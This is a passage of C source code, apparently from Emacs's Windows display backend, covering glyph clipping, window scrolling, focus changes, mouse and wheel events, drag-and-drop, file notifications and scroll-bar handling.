glyph_string *prev; for (prev = s->prev; prev; prev = prev->prev) if (prev->hl != s->hl && prev->x + prev->width + prev->right_overhang > s->x) { /* As prev was drawn while clipped to its own area, we must draw the right_overhang part using s->hl now. */ enum draw_glyphs_face save = prev->hl; prev->hl = s->hl; w32_set_glyph_string_gc (prev); w32_set_glyph_string_clipping_exactly (s, prev); if (prev->first_glyph->type == CHAR_GLYPH) w32_draw_glyph_string_foreground (prev); else w32_draw_composite_glyph_string_foreground (prev); w32_set_clip_rectangle (prev->hdc, NULL); prev->hl = save; prev->num_clips = 0; } } if (s->next) { struct glyph_string *next; for (next = s->next; next; next = next->next) if (next->hl != s->hl && next->x - next->left_overhang < s->x + s->width) { /* As next will be drawn while clipped to its own area, we must draw the left_overhang part using s->hl now. */ enum draw_glyphs_face save = next->hl; next->hl = s->hl; w32_set_glyph_string_gc (next); w32_set_glyph_string_clipping_exactly (s, next); if (next->first_glyph->type == CHAR_GLYPH) w32_draw_glyph_string_foreground (next); else w32_draw_composite_glyph_string_foreground (next); w32_set_clip_rectangle (next->hdc, NULL); next->hl = save; next->num_clips = 0; next->clip_head = s->next; } } } /* Reset clipping. */ w32_set_clip_rectangle (s->hdc, NULL); s->num_clips = 0; } /* Shift display to make room for inserted glyphs. */ static void w32_shift_glyphs_for_insert (struct frame *f, int x, int y, int width, int height, int shift_by) { HDC hdc; hdc = get_frame_dc (f); BitBlt (hdc, x + shift_by, y, width, height, hdc, x, y, SRCCOPY); release_frame_dc (f, hdc); } /* Delete N glyphs at the nominal cursor position. Not implemented for X frames. */ static void w32_delete_glyphs (struct frame *f, register int n) { if (! FRAME_W32_P (f)) return; emacs_abort (); } /* Clear entire frame. */ static void w32_clear_frame (struct frame *f) { if (! FRAME_W32_P (f)) return; /* Clearing the frame will erase any cursor, so mark them all as no longer visible. */ mark_window_cursors_off (XWINDOW (FRAME_ROOT_WINDOW (f))); block_input (); w32_clear_window (f); /* We have to clear the scroll bars, too. If we have changed colors or something like that, then they should be notified. */ w32_scroll_bar_clear (f); unblock_input (); } /* Make audible bell. */ static void w32_ring_bell (struct frame *f) { block_input (); if (FRAME_W32_P (f) && visible_bell) { int i; HWND hwnd = FRAME_W32_WINDOW (f); for (i = 0; i < 5; i++) { FlashWindow (hwnd, TRUE); Sleep (10); } FlashWindow (hwnd, FALSE); } else w32_sys_ring_bell (f); unblock_input (); } /*********************************************************************** Line Dance ***********************************************************************/ /* Perform an insert-lines or delete-lines operation, inserting N lines or deleting -N lines at vertical position VPOS. */ static void w32_ins_del_lines (struct frame *f, int vpos, int n) { if (! FRAME_W32_P (f)) return; emacs_abort (); } /* Scroll part of the display as described by RUN. */ static void w32_scroll_run (struct window *w, struct run *run) { struct frame *f = XFRAME (w->frame); int x, y, width, height, from_y, to_y, bottom_y; HWND hwnd = FRAME_W32_WINDOW (f); HRGN expect_dirty; /* Get frame-relative bounding box of the text display area of W, without mode lines. Include in this box the left and right fringes of W. */ window_box (w, ANY_AREA, &x, &y, &width, &height); from_y = WINDOW_TO_FRAME_PIXEL_Y (w, run->current_y); to_y = WINDOW_TO_FRAME_PIXEL_Y (w, run->desired_y); bottom_y = y + height; if (to_y < from_y) { /* Scrolling up. Make sure we don't copy part of the mode line at the bottom. */ if (from_y + run->height > bottom_y) height = bottom_y - from_y; else height = run->height; expect_dirty = CreateRectRgn (x, y + height, x + width, bottom_y); } else { /* Scrolling down. Make sure we don't copy over the mode line. at the bottom. */ if (to_y + run->height > bottom_y) height = bottom_y - to_y; else height = run->height; expect_dirty = CreateRectRgn (x, y, x + width, to_y); } block_input (); /* Cursor off. Will be switched on again in gui_update_window_end. */ gui_clear_cursor (w); { RECT from; RECT to; HRGN dirty = CreateRectRgn (0, 0, 0, 0); HRGN combined = CreateRectRgn (0, 0, 0, 0); from.left = to.left = x; from.right = to.right = x + width; from.top = from_y; from.bottom = from_y + height; to.top = y; to.bottom = bottom_y; ScrollWindowEx (hwnd, 0, to_y - from_y, &from, &to, dirty, NULL, SW_INVALIDATE); /* Combine this with what we expect to be dirty. This covers the case where not all of the region we expect is actually dirty. */ CombineRgn (combined, dirty, expect_dirty, RGN_OR); /* If the dirty region is not what we expected, redraw the entire frame. */ if (!EqualRgn (combined, expect_dirty)) SET_FRAME_GARBAGED (f); DeleteObject (dirty); DeleteObject (combined); } unblock_input (); DeleteObject (expect_dirty); } /*********************************************************************** Exposure Events ***********************************************************************/ static void w32_frame_highlight (struct frame *f) { gui_update_cursor (f, 1); w32_set_frame_alpha (f); } static void w32_frame_unhighlight (struct frame *f) { gui_update_cursor (f, 1); w32_set_frame_alpha (f); } /* The focus has changed. Update the frames as necessary to reflect the new situation. Note that we can't change the selected frame here, because the Lisp code we are interrupting might become confused. Each event gets marked with the frame in which it occurred, so the Lisp code can tell when the switch took place by examining the events. */ static void w32_new_focus_frame (struct w32_display_info *dpyinfo, struct frame *frame) { struct frame *old_focus = dpyinfo->w32_focus_frame; if (frame != dpyinfo->w32_focus_frame) { /* Set this before calling other routines, so that they see the correct value of w32_focus_frame. */ dpyinfo->w32_focus_frame = frame; if (old_focus && old_focus->auto_lower) w32_lower_frame (old_focus); if (dpyinfo->w32_focus_frame && dpyinfo->w32_focus_frame->auto_raise) dpyinfo->w32_pending_autoraise_frame = dpyinfo->w32_focus_frame; else dpyinfo->w32_pending_autoraise_frame = NULL; } w32_frame_rehighlight_1 (dpyinfo); } /* Handle FocusIn and FocusOut state changes for FRAME. If FRAME has focus and there exists more than one frame, puts a FOCUS_IN_EVENT into *BUFP. */ static void w32_focus_changed (int type, int state, struct w32_display_info *dpyinfo, struct frame *frame, struct input_event *bufp) { if (type == WM_SETFOCUS) { if (dpyinfo->w32_focus_event_frame != frame) { w32_new_focus_frame (dpyinfo, frame); dpyinfo->w32_focus_event_frame = frame; bufp->kind = FOCUS_IN_EVENT; XSETFRAME (bufp->frame_or_window, frame); } frame->output_data.x->focus_state |= state; /* TODO: IME focus? */ } else if (type == WM_KILLFOCUS) { frame->output_data.x->focus_state &= ~state; if (dpyinfo->w32_focus_event_frame == frame) { dpyinfo->w32_focus_event_frame = 0; w32_new_focus_frame (dpyinfo, 0); bufp->kind = FOCUS_OUT_EVENT; XSETFRAME (bufp->frame_or_window, frame); } /* TODO: IME focus? */ } } /* The focus may have changed. Figure out if it is a real focus change, by checking both FocusIn/Out and Enter/LeaveNotify events. Returns FOCUS_IN_EVENT event in *BUFP. */ static void w32_detect_focus_change (struct w32_display_info *dpyinfo, W32Msg *event, struct input_event *bufp) { struct frame *frame; frame = w32_window_to_frame (dpyinfo, event->msg.hwnd); if (! frame) return; /* On w32, this is only called from focus events, so no switch needed. */ w32_focus_changed (event->msg.message, (event->msg.message == WM_KILLFOCUS ? FOCUS_IMPLICIT : FOCUS_EXPLICIT), dpyinfo, frame, bufp); } #if 0 /* unused */ /* Handle an event saying the mouse has moved out of an Emacs frame. */ static void w32_mouse_leave (struct w32_display_info *dpyinfo) { w32_new_focus_frame (dpyinfo, dpyinfo->w32_focus_event_frame); } #endif /* The focus has changed, or we have redirected a frame's focus to another frame (this happens when a frame uses a surrogate mini-buffer frame). Shift the highlight as appropriate. The FRAME argument doesn't necessarily have anything to do with which frame is being highlighted or un-highlighted; we only use it to find the appropriate X display info. */ static void w32_frame_rehighlight (struct frame *frame) { if (! FRAME_W32_P (frame)) return; w32_frame_rehighlight_1 (FRAME_DISPLAY_INFO (frame)); } static void w32_frame_rehighlight_1 (struct w32_display_info *dpyinfo) { struct frame *old_highlight = dpyinfo->highlight_frame; if (dpyinfo->w32_focus_frame) { dpyinfo->highlight_frame = ((FRAMEP (FRAME_FOCUS_FRAME (dpyinfo->w32_focus_frame))) ? XFRAME (FRAME_FOCUS_FRAME (dpyinfo->w32_focus_frame)) : dpyinfo->w32_focus_frame); if (! FRAME_LIVE_P (dpyinfo->highlight_frame)) { fset_focus_frame (dpyinfo->w32_focus_frame, Qnil); dpyinfo->highlight_frame = dpyinfo->w32_focus_frame; } } else dpyinfo->highlight_frame = 0; if (dpyinfo->highlight_frame != old_highlight) { if (old_highlight) w32_frame_unhighlight (old_highlight); if (dpyinfo->highlight_frame) w32_frame_highlight (dpyinfo->highlight_frame); } } /* Keyboard processing - modifier keys, etc. */ /* Convert a keysym to its name. */ char * get_keysym_name (int keysym) { /* Make static so we can always return it */ static char value[100]; block_input (); GetKeyNameText (keysym, value, 100); unblock_input (); return value; } static int codepage_for_locale (LCID locale) { char cp[20]; if (GetLocaleInfo (locale, LOCALE_IDEFAULTANSICODEPAGE, cp, 20) > 0) return atoi (cp); else return CP_ACP; } /* Mouse clicks and mouse movement. Rah. */ /* Parse a button MESSAGE. The button index is returned in PBUTTON, and the state in PUP. XBUTTON provides extra information for extended mouse button messages. Returns FALSE if unable to parse the message. */ BOOL parse_button (int message, int xbutton, int * pbutton, int * pup) { int button = 0; int up = 0; switch (message) { case WM_LBUTTONDOWN: button = 0; up = 0; break; case WM_LBUTTONUP: button = 0; up = 1; break; case WM_MBUTTONDOWN: if (NILP (Vw32_swap_mouse_buttons)) button = 1; else button = 2; up = 0; break; case WM_MBUTTONUP: if (NILP (Vw32_swap_mouse_buttons)) button = 1; else button = 2; up = 1; break; case WM_RBUTTONDOWN: if (NILP (Vw32_swap_mouse_buttons)) button = 2; else button = 1; up = 0; break; case WM_RBUTTONUP: if (NILP (Vw32_swap_mouse_buttons)) button = 2; else button = 1; up = 1; break; case WM_XBUTTONDOWN: button = xbutton + 2; up = 0; break; case WM_XBUTTONUP: button = xbutton + 2; up = 1; break; default: return (FALSE); } if (pup) *pup = up; if (pbutton) *pbutton = button; return (TRUE); } /* Prepare a mouse-event in *RESULT for placement in the input queue. If the event is a button press, then note that we have grabbed the mouse. */ static Lisp_Object w32_construct_mouse_click (struct input_event *result, W32Msg *msg, struct frame *f) { int button = 0; int up = 0; parse_button (msg->msg.message, HIWORD (msg->msg.wParam), &button, &up); /* Make the event type NO_EVENT; we'll change that when we decide otherwise. */ result->kind = MOUSE_CLICK_EVENT; result->code = button; result->timestamp = msg->msg.time; result->modifiers = (msg->dwModifiers | (up ? up_modifier : down_modifier)); XSETINT (result->x, LOWORD (msg->msg.lParam)); XSETINT (result->y, HIWORD (msg->msg.lParam)); XSETFRAME (result->frame_or_window, f); result->arg = Qnil; return Qnil; } static Lisp_Object w32_construct_mouse_wheel (struct input_event *result, W32Msg *msg, struct frame *f) { POINT p; int delta; static int sum_delta_y = 0; result->kind = msg->msg.message == WM_MOUSEHWHEEL ? HORIZ_WHEEL_EVENT : WHEEL_EVENT; result->code = 0; result->timestamp = msg->msg.time; result->arg = Qnil; /* A WHEEL_DELTA positive value indicates that the wheel was rotated forward, away from the user (up); a negative value indicates that the wheel was rotated backward, toward the user (down). */ delta = GET_WHEEL_DELTA_WPARAM (msg->msg.wParam); if (delta == 0) { result->kind = NO_EVENT; return Qnil; } /* With multiple monitors, we can legitimately get negative coordinates, so cast to short to interpret them correctly. */ p.x = (short) LOWORD (msg->msg.lParam); p.y = (short) HIWORD (msg->msg.lParam); if (eabs (delta) < WHEEL_DELTA) { /* This is high-precision mouse wheel, which sends fine-resolution wheel events. Produce a wheel event only if the conditions for sending such an event are fulfilled. */ int scroll_unit = max (w32_wheel_scroll_lines, 1), nlines; double value_to_report; /* w32_wheel_scroll_lines == UINT_MAX means the user asked for "entire page" to be the scroll unit. We interpret that as the height of the window under the mouse pointer. */ if (w32_wheel_scroll_lines == UINT_MAX) { Lisp_Object window = window_from_coordinates (f, p.x, p.y, NULL, false, false); if (!WINDOWP (window)) { result->kind = NO_EVENT; return Qnil; } scroll_unit = XWINDOW (window)->pixel_height; if (scroll_unit < 1) /* paranoia */ scroll_unit = 1; } /* If mwheel-coalesce-scroll-events is non-nil, report a wheel event only when we have accumulated enough delta's for WHEEL_DELTA. */ if (mwheel_coalesce_scroll_events) { /* If the user changed the direction, reset the accumulated deltas. */ if ((delta > 0) != (sum_delta_y > 0)) sum_delta_y = 0; sum_delta_y += delta; /* https://docs.microsoft.com/en-us/previous-versions/ms997498(v=msdn.10) */ if (eabs (sum_delta_y) < WHEEL_DELTA) { result->kind = NO_EVENT; return Qnil; } value_to_report = ((double)FRAME_LINE_HEIGHT (f) * scroll_unit) / ((double)WHEEL_DELTA / sum_delta_y); sum_delta_y = 0; } else value_to_report = ((double)FRAME_LINE_HEIGHT (f) * scroll_unit) / ((double)WHEEL_DELTA / delta); nlines = value_to_report / FRAME_LINE_HEIGHT (f) + 0.5; result->arg = list3 (make_fixnum (nlines), make_float (0.0), make_float (value_to_report)); } /* The up and down modifiers indicate if the wheel was rotated up or down based on WHEEL_DELTA value. */ result->modifiers = (msg->dwModifiers | ((delta < 0 ) ? down_modifier : up_modifier)); /* For the case that F's w32 window is not msg->msg.hwnd. */ ScreenToClient (FRAME_W32_WINDOW (f), &p); XSETINT (result->x, p.x); XSETINT (result->y, p.y); XSETFRAME (result->frame_or_window, f); return Qnil; } static Lisp_Object w32_construct_drag_n_drop (struct input_event *result, W32Msg *msg, struct frame *f) { Lisp_Object files; Lisp_Object frame; HDROP hdrop; POINT p; WORD num_files; wchar_t name_w[MAX_PATH]; #ifdef NTGUI_UNICODE const int use_unicode = 1; #else int use_unicode = w32_unicode_filenames; char name_a[MAX_PATH]; char file[MAX_UTF8_PATH]; #endif int i; result->kind = DRAG_N_DROP_EVENT; result->code = 0; result->timestamp = msg->msg.time; result->modifiers = msg->dwModifiers; hdrop = (HDROP) msg->msg.wParam; DragQueryPoint (hdrop, &p); #if 0 p.x = LOWORD (msg->msg.lParam); p.y = HIWORD (msg->msg.lParam); ScreenToClient (msg->msg.hwnd, &p); #endif XSETINT (result->x, p.x); XSETINT (result->y, p.y); num_files = DragQueryFile (hdrop, 0xFFFFFFFF, NULL, 0); files = Qnil; for (i = 0; i < num_files; i++) { if (use_unicode) { eassert (DragQueryFileW (hdrop, i, NULL, 0) < MAX_PATH); /* If DragQueryFile returns zero, it failed to fetch a file name. */ if (DragQueryFileW (hdrop, i, name_w, MAX_PATH) == 0) continue; #ifdef NTGUI_UNICODE files = Fcons (from_unicode_buffer (name_w), files); #else filename_from_utf16 (name_w, file); files = Fcons (DECODE_FILE (build_unibyte_string (file)), files); #endif /* NTGUI_UNICODE */ } #ifndef NTGUI_UNICODE else { eassert (DragQueryFileA (hdrop, i, NULL, 0) < MAX_PATH); if (DragQueryFileA (hdrop, i, name_a, MAX_PATH) == 0) continue; filename_from_ansi (name_a, file); files = Fcons (DECODE_FILE (build_unibyte_string (file)), files); } #endif } DragFinish (hdrop); XSETFRAME (frame, f); result->frame_or_window = frame; result->arg = files; return Qnil; } #if HAVE_W32NOTIFY /* File event notifications (see w32notify.c). */ Lisp_Object w32_lispy_file_action (DWORD action) { static char unknown_fmt[] = "unknown-action(%d)"; Lisp_Object retval; switch (action) { case FILE_ACTION_ADDED: retval = Qadded; break; case FILE_ACTION_REMOVED: retval = Qremoved; break; case FILE_ACTION_MODIFIED: retval = Qmodified; break; case FILE_ACTION_RENAMED_OLD_NAME: retval = Qrenamed_from; break; case FILE_ACTION_RENAMED_NEW_NAME: retval = Qrenamed_to; break; default: { char buf[sizeof(unknown_fmt) - 1 + INT_STRLEN_BOUND (DWORD)]; sprintf (buf, unknown_fmt, action); retval = intern (buf); } break; } return retval; } #ifdef WINDOWSNT /* Put file notifications into the Emacs input event queue. This function runs when the WM_EMACS_FILENOTIFY message arrives from a watcher thread. */ static void w32_queue_notifications (struct input_event *event, W32Msg *msg, struct frame *f, int *evcount) { struct notifications_set *ns = NULL; Lisp_Object frame; int done = 0; /* We cannot process notification before Emacs is fully initialized, since we need the UTF-16LE coding-system to be set up. */ if (!initialized) return; XSETFRAME (frame, f); while (!done) { ns = NULL; /* Find out if there is a record available in the linked list of notifications sets. If so, unlink the set from the linked list. Use critical section. */ enter_crit (); if (notifications_set_head->next != notifications_set_head) { ns = notifications_set_head->next; ns->prev->next = ns->next; ns->next->prev = ns->prev; } else done = 1; leave_crit(); if (ns) { BYTE *p = ns->notifications; FILE_NOTIFY_INFORMATION *fni = (PFILE_NOTIFY_INFORMATION)p; const DWORD min_size = offsetof (FILE_NOTIFY_INFORMATION, FileName) + sizeof(wchar_t); DWORD info_size = ns->size; Lisp_Object cs = Qutf_16le; Lisp_Object obj = w32_get_watch_object (ns->desc); /* notifications size could be zero when the buffer of notifications overflowed on the OS level, or when the directory being watched was itself deleted. Do nothing in that case. */ if (info_size && !NILP (obj) && CONSP (obj)) { Lisp_Object callback = XCDR (obj); while (info_size >= min_size) { Lisp_Object utf_16_fn = make_unibyte_string ((char *)fni->FileName, fni->FileNameLength); /* Note: mule-conf is preloaded, so utf-16le must already be defined at this point. */ Lisp_Object fname = code_convert_string_norecord (utf_16_fn, cs, 0); Lisp_Object action = w32_lispy_file_action (fni->Action); event->kind = FILE_NOTIFY_EVENT; event->timestamp = msg->msg.time; event->modifiers = 0; event->frame_or_window = callback; event->arg = list3 (make_pointer_integer (ns->desc), action, fname); kbd_buffer_store_event (event); (*evcount)++; if (!fni->NextEntryOffset) break; p += fni->NextEntryOffset; fni = (PFILE_NOTIFY_INFORMATION)p; info_size -= fni->NextEntryOffset; } } /* Free this notifications set. */ xfree (ns->notifications); xfree (ns); } } /* We've stuffed all the events ourselves, so w32_read_socket shouldn't. */ event->kind = NO_EVENT; } #endif /* WINDOWSNT */ #endif /* HAVE_W32NOTIFY */ /* Function to report a mouse movement to the mainstream Emacs code. The input handler calls this. We have received a mouse movement event, which is given in *event. If the mouse is over a different glyph than it was last time, tell the mainstream emacs code by setting mouse_moved. If not, ask for another motion event, so we can check again the next time it moves. */ static int w32_note_mouse_movement (struct frame *frame, MSG *msg) { struct w32_display_info *dpyinfo; int mouse_x = LOWORD (msg->lParam); int mouse_y = HIWORD (msg->lParam); RECT *r; if (!FRAME_OUTPUT_DATA (frame)) return 0; dpyinfo = FRAME_DISPLAY_INFO (frame); dpyinfo->last_mouse_movement_time = msg->time; dpyinfo->last_mouse_motion_frame = frame; dpyinfo->last_mouse_motion_x = mouse_x; dpyinfo->last_mouse_motion_y = mouse_y; if (msg->hwnd != FRAME_W32_WINDOW (frame)) { frame->mouse_moved = true; dpyinfo->last_mouse_scroll_bar = NULL; note_mouse_highlight (frame, -1, -1); dpyinfo->last_mouse_glyph_frame = NULL; return 1; } /* Has the mouse moved off the glyph it was on at the last sighting? */ r = &dpyinfo->last_mouse_glyph; if (frame != dpyinfo->last_mouse_glyph_frame || mouse_x < r->left || mouse_x >= r->right || mouse_y < r->top || mouse_y >= r->bottom) { frame->mouse_moved = true; dpyinfo->last_mouse_scroll_bar = NULL; note_mouse_highlight (frame, mouse_x, mouse_y); /* Remember the mouse position here, as w32_mouse_position only gets called when mouse tracking is enabled but we also need to keep track of the mouse for help_echo and highlighting at other times. */ remember_mouse_glyph (frame, mouse_x, mouse_y, r); dpyinfo->last_mouse_glyph_frame = frame; return 1; } return 0; } /************************************************************************ Mouse Face ************************************************************************/ static struct scroll_bar *w32_window_to_scroll_bar (Window, int); static void w32_scroll_bar_report_motion (struct frame **, Lisp_Object *, enum scroll_bar_part *, Lisp_Object *, Lisp_Object *, Time *); static void w32_horizontal_scroll_bar_report_motion (struct frame **, Lisp_Object *, enum scroll_bar_part *, Lisp_Object *, Lisp_Object *, Time *); static void w32_define_cursor (Window window, Emacs_Cursor cursor) { PostMessage (window, WM_EMACS_SETCURSOR, (WPARAM) cursor, 0); } /* Return the current position of the mouse. *fp should be a frame which indicates which display to ask about. If the mouse movement started in a scroll bar, set *fp, *bar_window, and *part to the frame, window, and scroll bar part that the mouse is over. Set *x and *y to the portion and whole of the mouse's position on the scroll bar. If the mouse movement started elsewhere, set *fp to the frame the mouse is on, *bar_window to nil, and *x and *y to the character cell the mouse is over. Set *time to the server time-stamp for the time at which the mouse was at this position. Don't store anything if we don't have a valid set of values to report. This clears the mouse_moved flag, so we can wait for the next mouse movement. */ static void w32_mouse_position (struct frame **fp, int insist, Lisp_Object *bar_window, enum scroll_bar_part *part, Lisp_Object *x, Lisp_Object *y, Time *time) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (*fp); block_input (); if (dpyinfo->last_mouse_scroll_bar && insist == 0) { struct scroll_bar *bar = dpyinfo->last_mouse_scroll_bar; if (bar->horizontal) w32_horizontal_scroll_bar_report_motion (fp, bar_window, part, x, y, time); else w32_scroll_bar_report_motion (fp, bar_window, part, x, y, time); } else { POINT pt; Lisp_Object frame, tail; struct frame *f1 = NULL; /* Clear the mouse-moved flag for every frame on this display. */ FOR_EACH_FRAME (tail, frame) XFRAME (frame)->mouse_moved = false; dpyinfo->last_mouse_scroll_bar = NULL; GetCursorPos (&pt); /* Now we have a position on the root; find the innermost window containing the pointer. */ /* If mouse was grabbed on a frame and we are not dropping, give coords for that frame even if the mouse is now outside it. Otherwise check for window under mouse on one of our frames. */ if (gui_mouse_grabbed (dpyinfo) && !EQ (track_mouse, Qdropping)) f1 = dpyinfo->last_mouse_frame; else { HWND wfp = WindowFromPoint (pt); if (wfp) { f1 = w32_window_to_frame (dpyinfo, wfp); if (f1) { HWND cwfp = ChildWindowFromPoint (wfp, pt); if (cwfp) { struct frame *f2 = w32_window_to_frame (dpyinfo, cwfp); /* If a child window was found, make sure that its frame is a child frame (Bug#26615, maybe). */ if (f2 && FRAME_PARENT_FRAME (f2)) f1 = f2; } } } } if (!f1 || FRAME_TOOLTIP_P (f1)) /* Don't use a tooltip frame. */ f1 = ((EQ (track_mouse, Qdropping) && gui_mouse_grabbed (dpyinfo)) ? dpyinfo->last_mouse_frame : NULL); /* If not, is it one of our scroll bars? */ if (!f1) { struct scroll_bar *bar = w32_window_to_scroll_bar (WindowFromPoint (pt), 2); if (bar) f1 = XFRAME (WINDOW_FRAME (XWINDOW (bar->window))); } if (!f1 && insist > 0) f1 = SELECTED_FRAME (); if (f1) { /* Ok, we found a frame. Store all the values. last_mouse_glyph is a rectangle used to reduce the generation of mouse events. To not miss any motion events, we must divide the frame into rectangles of the size of the smallest character that could be displayed on it, i.e. into the same rectangles that matrices on the frame are divided into. */ dpyinfo = FRAME_DISPLAY_INFO (f1); ScreenToClient (FRAME_W32_WINDOW (f1), &pt); remember_mouse_glyph (f1, pt.x, pt.y, &dpyinfo->last_mouse_glyph); dpyinfo->last_mouse_glyph_frame = f1; *bar_window = Qnil; *part = scroll_bar_above_handle; *fp = f1; XSETINT (*x, pt.x); XSETINT (*y, pt.y); *time = dpyinfo->last_mouse_movement_time; } } unblock_input (); } /*********************************************************************** Tab-bars ***********************************************************************/ /* Handle mouse button event on the tab-bar of frame F, at frame-relative coordinates X/Y. EVENT_TYPE is either ButtonPress or ButtonRelease. */ static Lisp_Object w32_handle_tab_bar_click (struct frame *f, struct input_event *button_event) { int x = XFIXNAT (button_event->x); int y = XFIXNAT (button_event->y); if (button_event->modifiers & down_modifier) return handle_tab_bar_click (f, x, y, 1, 0); else return handle_tab_bar_click (f, x, y, 0, button_event->modifiers & ~up_modifier); } /*********************************************************************** Tool-bars ***********************************************************************/ /* Handle mouse button event on the tool-bar of frame F, at frame-relative coordinates X/Y. EVENT_TYPE is either ButtonPress or ButtonRelease. */ static void w32_handle_tool_bar_click (struct frame *f, struct input_event *button_event) { int x = XFIXNAT (button_event->x); int y = XFIXNAT (button_event->y); if (button_event->modifiers & down_modifier) handle_tool_bar_click (f, x, y, 1, 0); else handle_tool_bar_click (f, x, y, 0, button_event->modifiers & ~up_modifier); } /*********************************************************************** Scroll bars ***********************************************************************/ /* Scroll bar support. */ /* Given a window ID, find the struct scroll_bar which manages it vertically. This can be called in GC, so we have to make sure to strip off mark bits. */ static struct scroll_bar * w32_window_to_scroll_bar (Window window_id, int type) { Lisp_Object tail, frame; FOR_EACH_FRAME (tail, frame) { Lisp_Object bar, condemned; /* Scan this frame's scroll bar list for a scroll bar with the right window ID. */ condemned = FRAME_CONDEMNED_SCROLL_BARS (XFRAME (frame)); for (bar = FRAME_SCROLL_BARS (XFRAME (frame)); /* This trick allows us to search both the ordinary and condemned scroll bar lists with one loop. */ ! NILP (bar) || (bar = condemned, condemned = Qnil, ! NILP (bar)); bar = XSCROLL_BAR (bar)->next) if (SCROLL_BAR_W32_WINDOW (XSCROLL_BAR (bar)) == window_id && (type == 2 || (type == 1 && XSCROLL_BAR (bar)->horizontal) || (type == 0 && !XSCROLL_BAR (bar)->horizontal))) return XSCROLL_BAR (bar); } return 0; } /* Set the thumb size and position of vertical scroll bar BAR. We are currently displaying PORTION out of a whole WHOLE, and our position POSITION. */ static void w32_set_scroll_bar_thumb (struct scroll_bar *bar, int portion, int position, int whole) { Window w = SCROLL_BAR_W32_WINDOW (bar); /* We use the whole scroll-bar height in the calculations below, to avoid strange effects like scrolling backwards when just clicking on the handle (without moving it). */ double range = VERTICAL_SCROLL_BAR_TOP_RANGE (f, bar->height) + VERTICAL_SCROLL_BAR_MIN_HANDLE; int sb_page, sb_pos; BOOL draggingp = bar->dragging ? TRUE : FALSE; SCROLLINFO si; /* We used to change the nPage setting while dragging the handle, but that had very strange effects (such as scrolling backwards while dragging downwards). Now, we don't change the nPage setting while dragging unless we get near to the end of the buffer, in which case we often have to resize the handle to "go all the way". */ if (draggingp) { int near_bottom_p; block_input (); si.cbSize = sizeof (si); si.fMask = SIF_POS | SIF_PAGE; GetScrollInfo (w, SB_CTL, &si); near_bottom_p = si.nPos + si.nPage >= range; unblock_input (); if (!near_bottom_p) return; } if (whole) { /* Position scroll bar at rock bottom if the bottom of the buffer is visible. This avoids shrinking the thumb away to nothing if it is held at the bottom of the buffer. */ if (position + portion >= whole && !draggingp) { sb_page = range * (whole - position) / whole; sb_pos = range; } else { sb_pos = position * range / whole; sb_page = (min (portion, (whole - position)) * range) / whole; } } else { sb_page = range; sb_pos = 0; } sb_page = max (sb_page, VERTICAL_SCROLL_BAR_MIN_HANDLE); block_input (); si.cbSize = sizeof (si); si.fMask = SIF_PAGE | SIF_POS; si.nPage = sb_page; si.nPos = sb_pos; SetScrollInfo (w, SB_CTL, &si, TRUE); unblock_input (); } /* Set the thumb size and position of horizontal scroll bar BAR. We are currently displaying PORTION out of a whole WHOLE, and our position POSITION. */ static void w32_set_horizontal_scroll_bar_thumb (struct scroll_bar *bar, int portion, int position, int whole) { Window w = SCROLL_BAR_W32_WINDOW (bar); SCROLLINFO si; block_input (); si.cbSize = sizeof (si); si.fMask = SIF_PAGE | SIF_POS | SIF_RANGE; si.nMin = 0; si.nMax = whole; /* Allow nPage to be one larger than nPos so we don't allow the scrolling of an already fully visible buffer. */ si.nPage = min (portion, si.nMax) + 1; si.nPos = min (position, si.nMax); SetScrollInfo (w, SB_CTL, &si, TRUE); unblock_input (); } /************************************************************************ Scroll bars, general ************************************************************************/ static HWND my_create_vscrollbar (struct frame * f, struct scroll_bar * bar) { return (HWND) SendMessage (FRAME_W32_WINDOW (f), WM_EMACS_CREATEVSCROLLBAR, (WPARAM) f, (LPARAM) bar); } static HWND my_create_hscrollbar (struct frame * f, struct scroll_bar * bar) { return (HWND) SendMessage (FRAME_W32_WINDOW (f), WM_EMACS_CREATEHSCROLLBAR, (WPARAM) f, (LPARAM) bar); } /*#define ATTACH_THREADS*/ static BOOL my_show_window (struct frame *f, HWND hwnd, int how) { #ifndef ATTACH_THREADS return SendMessageTimeout (FRAME_W32_WINDOW (f), WM_EMACS_SHOWWINDOW, (WPARAM) hwnd, (LPARAM) how, 0, 6000, NULL); #else return ShowWindow (hwnd, how); #endif } static void my_set_window_pos (HWND hwnd, HWND hwndAfter, int x, int y, int cx, int cy, UINT flags) { #ifndef ATTACH_THREADS WINDOWPOS pos; pos.hwndInsertAfter = hwndAfter; pos.x = x; pos.y = y; pos.cx = cx; pos.cy = cy; pos.flags = flags; SendMessageTimeout (hwnd, WM_EMACS_SETWINDOWPOS, (WPARAM) &pos, 0, 0, 6000, NULL); #else SetWindowPos (hwnd, hwndAfter, x, y, cx, cy, flags); #endif } #if 0 static void my_set_focus (struct frame * f, HWND hwnd) { SendMessageTimeout (FRAME_W32_WINDOW (f), WM_EMACS_SETFOCUS, (WPARAM) hwnd, 0, 0, 6000, NULL); } #endif static void my_set_foreground_window (HWND hwnd) { SendMessageTimeout (hwnd, WM_EMACS_SETFOREGROUND, (WPARAM) hwnd, 0, 0, 6000, NULL); } static void my_destroy_window (struct frame * f, HWND hwnd) { SendMessageTimeout (FRAME_W32_WINDOW (f), WM_EMACS_DESTROYWINDOW, (WPARAM) hwnd, 0, 0, 6000, NULL); } static void my_bring_window_to_top (HWND hwnd) { SendMessageTimeout (hwnd, WM_EMACS_BRINGTOTOP, (WPARAM) hwnd, 0, 0, 6000, NULL); } /* Create a scroll bar and return the scroll bar vector for it. W is the Emacs window on which to create the scroll bar. TOP, LEFT, WIDTH and HEIGHT are the pixel coordinates and dimensions of the scroll bar. */ static struct scroll_bar * w32_scroll_bar_create (struct window *w, int left, int top, int width, int height, bool horizontal) { struct frame *f = XFRAME (WINDOW_FRAME (w)); HWND hwnd; SCROLLINFO si; struct scroll_bar *bar = ALLOCATE_PSEUDOVECTOR (struct scroll_bar, w32_widget_high, PVEC_OTHER); Lisp_Object barobj; block_input (); XSETWINDOW (bar->window, w); bar->top = top; bar->left = left; bar->width = width; bar->height = height; bar->start = 0; bar->end = 0; bar->dragging = 0; bar->horizontal = horizontal; /* Requires geometry to be set before call to create the real window */ if (horizontal) hwnd = my_create_hscrollbar (f, bar); else hwnd = my_create_vscrollbar (f, bar); si.cbSize = sizeof (si); si.fMask = SIF_ALL; si.nMin = 0; if (horizontal) si.nMax = HORIZONTAL_SCROLL_BAR_LEFT_RANGE (f, width) + HORIZONTAL_SCROLL_BAR_MIN_HANDLE; else si.nMax = 